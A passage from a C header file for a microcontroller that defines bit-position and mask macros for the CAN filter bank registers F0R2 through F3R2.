/*!<Filter bit 4 */ #define CAN_F0R2_FB5_Pos (5U) #define CAN_F0R2_FB5_Msk (0x1U << CAN_F0R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F0R2_FB5 CAN_F0R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F0R2_FB6_Pos (6U) #define CAN_F0R2_FB6_Msk (0x1U << CAN_F0R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F0R2_FB6 CAN_F0R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F0R2_FB7_Pos (7U) #define CAN_F0R2_FB7_Msk (0x1U << CAN_F0R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F0R2_FB7 CAN_F0R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F0R2_FB8_Pos (8U) #define CAN_F0R2_FB8_Msk (0x1U << CAN_F0R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F0R2_FB8 CAN_F0R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F0R2_FB9_Pos (9U) #define CAN_F0R2_FB9_Msk (0x1U << CAN_F0R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F0R2_FB9 CAN_F0R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F0R2_FB10_Pos (10U) #define CAN_F0R2_FB10_Msk (0x1U << CAN_F0R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F0R2_FB10 CAN_F0R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F0R2_FB11_Pos (11U) #define CAN_F0R2_FB11_Msk (0x1U << CAN_F0R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F0R2_FB11 CAN_F0R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F0R2_FB12_Pos (12U) #define CAN_F0R2_FB12_Msk (0x1U << CAN_F0R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F0R2_FB12 CAN_F0R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F0R2_FB13_Pos (13U) #define CAN_F0R2_FB13_Msk (0x1U << CAN_F0R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F0R2_FB13 CAN_F0R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F0R2_FB14_Pos (14U) #define CAN_F0R2_FB14_Msk (0x1U << CAN_F0R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F0R2_FB14 CAN_F0R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F0R2_FB15_Pos (15U) #define CAN_F0R2_FB15_Msk (0x1U << CAN_F0R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F0R2_FB15 CAN_F0R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F0R2_FB16_Pos (16U) #define CAN_F0R2_FB16_Msk (0x1U << CAN_F0R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F0R2_FB16 CAN_F0R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F0R2_FB17_Pos (17U) #define CAN_F0R2_FB17_Msk (0x1U << CAN_F0R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F0R2_FB17 CAN_F0R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F0R2_FB18_Pos (18U) #define CAN_F0R2_FB18_Msk (0x1U << CAN_F0R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F0R2_FB18 CAN_F0R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F0R2_FB19_Pos (19U) #define CAN_F0R2_FB19_Msk (0x1U << CAN_F0R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F0R2_FB19 CAN_F0R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F0R2_FB20_Pos (20U) #define CAN_F0R2_FB20_Msk (0x1U << CAN_F0R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F0R2_FB20 CAN_F0R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F0R2_FB21_Pos (21U) #define CAN_F0R2_FB21_Msk (0x1U << CAN_F0R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F0R2_FB21 CAN_F0R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F0R2_FB22_Pos (22U) #define CAN_F0R2_FB22_Msk (0x1U << CAN_F0R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F0R2_FB22 CAN_F0R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F0R2_FB23_Pos (23U) #define CAN_F0R2_FB23_Msk (0x1U << CAN_F0R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F0R2_FB23 CAN_F0R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F0R2_FB24_Pos (24U) #define CAN_F0R2_FB24_Msk (0x1U << CAN_F0R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F0R2_FB24 CAN_F0R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F0R2_FB25_Pos (25U) #define CAN_F0R2_FB25_Msk (0x1U << CAN_F0R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F0R2_FB25 CAN_F0R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F0R2_FB26_Pos (26U) #define CAN_F0R2_FB26_Msk (0x1U << CAN_F0R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F0R2_FB26 CAN_F0R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F0R2_FB27_Pos (27U) #define CAN_F0R2_FB27_Msk (0x1U << CAN_F0R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F0R2_FB27 CAN_F0R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F0R2_FB28_Pos (28U) #define CAN_F0R2_FB28_Msk (0x1U << CAN_F0R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F0R2_FB28 CAN_F0R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F0R2_FB29_Pos (29U) #define CAN_F0R2_FB29_Msk (0x1U << CAN_F0R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F0R2_FB29 CAN_F0R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F0R2_FB30_Pos (30U) #define CAN_F0R2_FB30_Msk (0x1U << CAN_F0R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F0R2_FB30 CAN_F0R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F0R2_FB31_Pos (31U) #define CAN_F0R2_FB31_Msk (0x1U << CAN_F0R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F0R2_FB31 CAN_F0R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F1R2 register *******************/ #define CAN_F1R2_FB0_Pos (0U) #define CAN_F1R2_FB0_Msk (0x1U << CAN_F1R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F1R2_FB0 CAN_F1R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F1R2_FB1_Pos (1U) #define CAN_F1R2_FB1_Msk (0x1U << CAN_F1R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F1R2_FB1 CAN_F1R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F1R2_FB2_Pos (2U) #define CAN_F1R2_FB2_Msk (0x1U << CAN_F1R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F1R2_FB2 CAN_F1R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F1R2_FB3_Pos (3U) #define CAN_F1R2_FB3_Msk (0x1U << CAN_F1R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F1R2_FB3 CAN_F1R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F1R2_FB4_Pos (4U) #define CAN_F1R2_FB4_Msk (0x1U << CAN_F1R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F1R2_FB4 CAN_F1R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F1R2_FB5_Pos (5U) #define CAN_F1R2_FB5_Msk (0x1U << CAN_F1R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F1R2_FB5 CAN_F1R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F1R2_FB6_Pos (6U) #define CAN_F1R2_FB6_Msk (0x1U << CAN_F1R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F1R2_FB6 CAN_F1R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F1R2_FB7_Pos (7U) #define CAN_F1R2_FB7_Msk (0x1U << CAN_F1R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F1R2_FB7 CAN_F1R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F1R2_FB8_Pos (8U) #define CAN_F1R2_FB8_Msk (0x1U << CAN_F1R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F1R2_FB8 CAN_F1R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F1R2_FB9_Pos (9U) #define CAN_F1R2_FB9_Msk (0x1U << CAN_F1R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F1R2_FB9 CAN_F1R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F1R2_FB10_Pos (10U) #define CAN_F1R2_FB10_Msk (0x1U << CAN_F1R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F1R2_FB10 CAN_F1R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F1R2_FB11_Pos (11U) #define CAN_F1R2_FB11_Msk (0x1U << CAN_F1R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F1R2_FB11 CAN_F1R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F1R2_FB12_Pos (12U) #define CAN_F1R2_FB12_Msk (0x1U << CAN_F1R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F1R2_FB12 CAN_F1R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F1R2_FB13_Pos (13U) #define CAN_F1R2_FB13_Msk (0x1U << CAN_F1R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F1R2_FB13 CAN_F1R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F1R2_FB14_Pos (14U) #define CAN_F1R2_FB14_Msk (0x1U << CAN_F1R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F1R2_FB14 CAN_F1R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F1R2_FB15_Pos (15U) #define CAN_F1R2_FB15_Msk (0x1U << CAN_F1R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F1R2_FB15 CAN_F1R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F1R2_FB16_Pos (16U) #define CAN_F1R2_FB16_Msk (0x1U << CAN_F1R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F1R2_FB16 CAN_F1R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F1R2_FB17_Pos (17U) #define CAN_F1R2_FB17_Msk (0x1U << CAN_F1R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F1R2_FB17 CAN_F1R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F1R2_FB18_Pos (18U) #define CAN_F1R2_FB18_Msk (0x1U << CAN_F1R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F1R2_FB18 CAN_F1R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F1R2_FB19_Pos (19U) #define CAN_F1R2_FB19_Msk (0x1U << CAN_F1R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F1R2_FB19 CAN_F1R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F1R2_FB20_Pos (20U) #define CAN_F1R2_FB20_Msk (0x1U << CAN_F1R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F1R2_FB20 CAN_F1R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F1R2_FB21_Pos (21U) #define CAN_F1R2_FB21_Msk (0x1U << CAN_F1R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F1R2_FB21 CAN_F1R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F1R2_FB22_Pos (22U) #define CAN_F1R2_FB22_Msk (0x1U << CAN_F1R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F1R2_FB22 CAN_F1R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F1R2_FB23_Pos (23U) #define CAN_F1R2_FB23_Msk (0x1U << CAN_F1R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F1R2_FB23 CAN_F1R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F1R2_FB24_Pos (24U) #define CAN_F1R2_FB24_Msk (0x1U << CAN_F1R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F1R2_FB24 CAN_F1R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F1R2_FB25_Pos (25U) #define CAN_F1R2_FB25_Msk (0x1U << CAN_F1R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F1R2_FB25 CAN_F1R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F1R2_FB26_Pos (26U) #define CAN_F1R2_FB26_Msk (0x1U << CAN_F1R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F1R2_FB26 CAN_F1R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F1R2_FB27_Pos (27U) #define CAN_F1R2_FB27_Msk (0x1U << CAN_F1R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F1R2_FB27 CAN_F1R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F1R2_FB28_Pos (28U) #define CAN_F1R2_FB28_Msk (0x1U << CAN_F1R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F1R2_FB28 CAN_F1R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F1R2_FB29_Pos (29U) #define CAN_F1R2_FB29_Msk (0x1U << CAN_F1R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F1R2_FB29 CAN_F1R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F1R2_FB30_Pos (30U) #define CAN_F1R2_FB30_Msk (0x1U << CAN_F1R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F1R2_FB30 CAN_F1R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F1R2_FB31_Pos (31U) #define CAN_F1R2_FB31_Msk (0x1U << CAN_F1R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F1R2_FB31 CAN_F1R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F2R2 register *******************/ #define CAN_F2R2_FB0_Pos (0U) #define CAN_F2R2_FB0_Msk (0x1U << CAN_F2R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F2R2_FB0 CAN_F2R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F2R2_FB1_Pos (1U) #define CAN_F2R2_FB1_Msk (0x1U << CAN_F2R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F2R2_FB1 CAN_F2R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F2R2_FB2_Pos (2U) #define CAN_F2R2_FB2_Msk (0x1U << CAN_F2R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F2R2_FB2 CAN_F2R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F2R2_FB3_Pos (3U) #define CAN_F2R2_FB3_Msk (0x1U << CAN_F2R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F2R2_FB3 CAN_F2R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F2R2_FB4_Pos (4U) #define CAN_F2R2_FB4_Msk (0x1U << CAN_F2R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F2R2_FB4 CAN_F2R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F2R2_FB5_Pos (5U) #define CAN_F2R2_FB5_Msk (0x1U << CAN_F2R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F2R2_FB5 CAN_F2R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F2R2_FB6_Pos (6U) #define CAN_F2R2_FB6_Msk (0x1U << CAN_F2R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F2R2_FB6 CAN_F2R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F2R2_FB7_Pos (7U) #define CAN_F2R2_FB7_Msk (0x1U << CAN_F2R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F2R2_FB7 CAN_F2R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F2R2_FB8_Pos (8U) #define CAN_F2R2_FB8_Msk (0x1U << CAN_F2R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F2R2_FB8 CAN_F2R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F2R2_FB9_Pos (9U) #define CAN_F2R2_FB9_Msk (0x1U << CAN_F2R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F2R2_FB9 CAN_F2R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F2R2_FB10_Pos (10U) #define CAN_F2R2_FB10_Msk (0x1U << CAN_F2R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F2R2_FB10 CAN_F2R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F2R2_FB11_Pos (11U) #define CAN_F2R2_FB11_Msk (0x1U << CAN_F2R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F2R2_FB11 CAN_F2R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F2R2_FB12_Pos (12U) #define CAN_F2R2_FB12_Msk (0x1U << CAN_F2R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F2R2_FB12 CAN_F2R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F2R2_FB13_Pos (13U) #define CAN_F2R2_FB13_Msk (0x1U << CAN_F2R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F2R2_FB13 CAN_F2R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F2R2_FB14_Pos (14U) #define CAN_F2R2_FB14_Msk (0x1U << CAN_F2R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F2R2_FB14 CAN_F2R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F2R2_FB15_Pos (15U) #define CAN_F2R2_FB15_Msk (0x1U << CAN_F2R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F2R2_FB15 CAN_F2R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F2R2_FB16_Pos (16U) #define CAN_F2R2_FB16_Msk (0x1U << CAN_F2R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F2R2_FB16 CAN_F2R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F2R2_FB17_Pos (17U) #define CAN_F2R2_FB17_Msk (0x1U << CAN_F2R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F2R2_FB17 CAN_F2R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F2R2_FB18_Pos (18U) #define CAN_F2R2_FB18_Msk (0x1U << CAN_F2R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F2R2_FB18 CAN_F2R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F2R2_FB19_Pos (19U) #define CAN_F2R2_FB19_Msk (0x1U << CAN_F2R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F2R2_FB19 CAN_F2R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F2R2_FB20_Pos (20U) #define CAN_F2R2_FB20_Msk (0x1U << CAN_F2R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F2R2_FB20 CAN_F2R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F2R2_FB21_Pos (21U) #define CAN_F2R2_FB21_Msk (0x1U << CAN_F2R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F2R2_FB21 CAN_F2R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F2R2_FB22_Pos (22U) #define CAN_F2R2_FB22_Msk (0x1U << CAN_F2R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F2R2_FB22 CAN_F2R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F2R2_FB23_Pos (23U) #define CAN_F2R2_FB23_Msk (0x1U << CAN_F2R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F2R2_FB23 CAN_F2R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F2R2_FB24_Pos (24U) #define CAN_F2R2_FB24_Msk (0x1U << CAN_F2R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F2R2_FB24 CAN_F2R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F2R2_FB25_Pos (25U) #define CAN_F2R2_FB25_Msk (0x1U << CAN_F2R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F2R2_FB25 CAN_F2R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F2R2_FB26_Pos (26U) #define CAN_F2R2_FB26_Msk (0x1U << CAN_F2R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F2R2_FB26 CAN_F2R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F2R2_FB27_Pos (27U) #define CAN_F2R2_FB27_Msk (0x1U << CAN_F2R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F2R2_FB27 CAN_F2R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F2R2_FB28_Pos (28U) #define CAN_F2R2_FB28_Msk (0x1U << CAN_F2R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F2R2_FB28 CAN_F2R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F2R2_FB29_Pos (29U) #define CAN_F2R2_FB29_Msk (0x1U << CAN_F2R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F2R2_FB29 CAN_F2R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F2R2_FB30_Pos (30U) #define CAN_F2R2_FB30_Msk (0x1U << CAN_F2R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F2R2_FB30 CAN_F2R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F2R2_FB31_Pos (31U) #define CAN_F2R2_FB31_Msk (0x1U << CAN_F2R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F2R2_FB31 CAN_F2R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F3R2 register *******************/ #define CAN_F3R2_FB0_Pos (0U) #define CAN_F3R2_FB0_Msk (0x1U << CAN_F3R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F3R2_FB0 CAN_F3R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F3R2_FB1_Pos (1U) #define CAN_F3R2_FB1_Msk (0x1U << CAN_F3R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F3R2_FB1 CAN_F3R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F3R2_FB2_Pos (2U) #define CAN_F3R2_FB2_Msk (0x1U << CAN_F3R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F3R2_FB2 CAN_F3R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F3R2_FB3_Pos (3U) #define CAN_F3R2_FB3_Msk (0x1U << CAN_F3R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F3R2_FB3 CAN_F3R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F3R2_FB4_Pos (4U) #define CAN_F3R2_FB4_Msk (0x1U << CAN_F3R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F3R2_FB4 CAN_F3R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F3R2_FB5_Pos (5U) #define CAN_F3R2_FB5_Msk (0x1U << CAN_F3R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F3R2_FB5 CAN_F3R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F3R2_FB6_Pos (6U) #define CAN_F3R2_FB6_Msk (0x1U << CAN_F3R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F3R2_FB6 CAN_F3R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F3R2_FB7_Pos (7U) #define CAN_F3R2_FB7_Msk (0x1U << CAN_F3R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F3R2_FB7 CAN_F3R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F3R2_FB8_Pos (8U) #define CAN_F3R2_FB8_Msk (0x1U << CAN_F3R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F3R2_FB8 CAN_F3R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F3R2_FB9_Pos (9U) #define CAN_F3R2_FB9_Msk (0x1U << CAN_F3R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F3R2_FB9 CAN_F3R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F3R2_FB10_Pos (10U) #define CAN_F3R2_FB10_Msk (0x1U << CAN_F3R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F3R2_FB10 CAN_F3R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F3R2_FB11_Pos (11U) #define CAN_F3R2_FB11_Msk (0x1U << CAN_F3R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F3R2_FB11 CAN_F3R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F3R2_FB12_Pos (12U) #define CAN_F3R2_FB12_Msk (0x1U << CAN_F3R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F3R2_FB12 CAN_F3R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F3R2_FB13_Pos (13U) #define CAN_F3R2_FB13_Msk (0x1U << CAN_F3R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F3R2_FB13 CAN_F3R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F3R2_FB14_Pos (14U) #define CAN_F3R2_FB14_Msk (0x1U << CAN_F3R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F3R2_FB14 CAN_F3R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F3R2_FB15_Pos (15U) #define CAN_F3R2_FB15_Msk (0x1U << CAN_F3R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F3R2_FB15 CAN_F3R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F3R2_FB16_Pos (16U) #define CAN_F3R2_FB16_Msk (0x1U << CAN_F3R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F3R2_FB16 CAN_F3R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F3R2_FB17_Pos (17U) #define CAN_F3R2_FB17_Msk (0x1U << CAN_F3R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F3R2_FB17 CAN_F3R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F3R2_FB18_Pos (18U) #define CAN_F3R2_FB18_Msk (0x1U << CAN_F3R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F3R2_FB18 CAN_F3R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F3R2_FB19_Pos (19U) #define CAN_F3R2_FB19_Msk (0x1U << CAN_F3R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F3R2_FB19 CAN_F3R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F3R2_FB20_Pos (20U) #define CAN_F3R2_FB20_Msk (0x1U << CAN_F3R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F3R2_FB20 CAN_F3R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F3R2_FB21_Pos (21U) #define CAN_F3R2_FB21_Msk (0x1U << CAN_F3R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F3R2_FB21 CAN_F3R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F3R2_FB22_Pos (22U) #define CAN_F3R2_FB22_Msk (0x1U << CAN_F3R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F3R2_FB22 CAN_F3R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F3R2_FB23_Pos (23U) #define CAN_F3R2_FB23_Msk (0x1U << CAN_F3R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F3R2_FB23 CAN_F3R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F3R2_FB24_Pos (24U) #define CAN_F3R2_FB24_Msk (0x1U << CAN_F3R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F3R2_FB24 CAN_F3R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F3R2_FB25_Pos (25U) #define CAN_F3R2_FB25_Msk (0x1U << CAN_F3R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F3R2_FB25 CAN_F3R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F3R2_FB26_Pos (26U) #define CAN_F3R2_FB26_Msk (0x1U << CAN_F3R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F3R2_FB26 CAN_F3R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F3R2_FB27_Pos (27U) #define CAN_F3R2_FB27_Msk (0x1U << CAN_F3R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F3R2_FB27 CAN_F3R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F3R2_FB28_Pos (28U) #define CAN_F3R2_FB28_Msk (0x1U << CAN_F3R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F3R2_FB28 CAN_F3R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F3R2_FB29_Pos (29U) #define CAN_F3R2_FB29_Msk (0x1U << CAN_F3R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F3R2_FB29 CAN_F3R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F3R2_FB30_Pos (30U) #define CAN_F3R2_FB30_Msk (0x1U << CAN_F3R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F3R2_FB30 CAN_F3R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F3R2_FB31_Pos (31U) #define CAN_F3R2_FB31_Msk (0x1U << CAN_F3R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F3R2_FB31 CAN_F3R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F4R2 register *******************/ 